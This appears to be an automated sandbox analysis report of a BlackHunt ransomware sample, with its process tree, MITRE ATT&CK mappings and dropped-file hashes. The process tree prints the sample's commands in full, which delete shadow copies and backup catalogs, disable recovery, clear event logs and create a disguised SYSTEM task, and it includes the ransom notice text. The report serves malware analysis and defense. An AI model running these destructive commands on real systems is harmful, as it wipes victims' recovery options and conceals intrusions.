  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:4232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:5036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:4448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4396
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:3268
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:4336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe" /F
  2⤵
  PID:2076
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\7ddcdb653fd7ce40e1b33e3c8dbdca85bd676b8e445ab59aa91abbdc2e3e8ecb.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3768
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1584
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:5052
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:6132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3940
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:6120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3092
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2736
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1568
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3504
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2472
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4120
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3420
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:6052
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:4636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3384
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3632
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:960
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4292
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:5976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:5896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4828
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3844
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5800
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:6104
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1312
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3504
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4204
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:5808
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:4336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:5816
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:4904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:5776
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:4980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:4552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:1188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3156

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4856

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6112

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5304

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:6132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\#BlackHunt_Private.key

Filesize
1KB

MD5
e2a8ebd58e67e3a76e145f1c634643d4

SHA1
4041a6acb4fe4f450504df790977d795f62cc2a1

SHA256
2353f4d509e250b26c5797a2fc2e292ee68ef170fd304bc8b5d938f006b43de4

SHA512
4a96bf01bd15a30a7803268f5f08ea4718349e1845f11ff9725d34087f2415f41a7db5b15b1e7f5c017ddd78aaa1cc74081ed86eb376fbb5c4a3c49eeaa81750

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
d9884015db4203a8f477abeed87a53cf

SHA1
de52aa0265b66b14af8440af7f1b48a0dbca6539

SHA256
c33a9f8ea66ede69be136f170817f4d8926fc63445ea200769358a3c6de8b0af

SHA512
4f8b489ed6e3891479241e16cc9728037db001170ceedf7c5419357d77cea7dfde93f0d484a8fc4e5db7a00dc6e34e6c856b06028ae5daba738f8fe9678f1418

Download Submit
F:\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
cfc308bf15b5288285f507af78c6d8d1

SHA1
a261c26a3ea5824167ffe40d70ce239b40a3149f

SHA256
f454e612544b63d0d65131788e26246c275f73a92e9642290595cc517ea16c27

SHA512
a485269141ae07a212ee225fdd84acabd189f33ee37bfa1dd8ab3133342fe586f42d8586df19f8ad9c99893b0fdcfc347f05d9ac9ac4ccb80765096ba74ba4f7

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads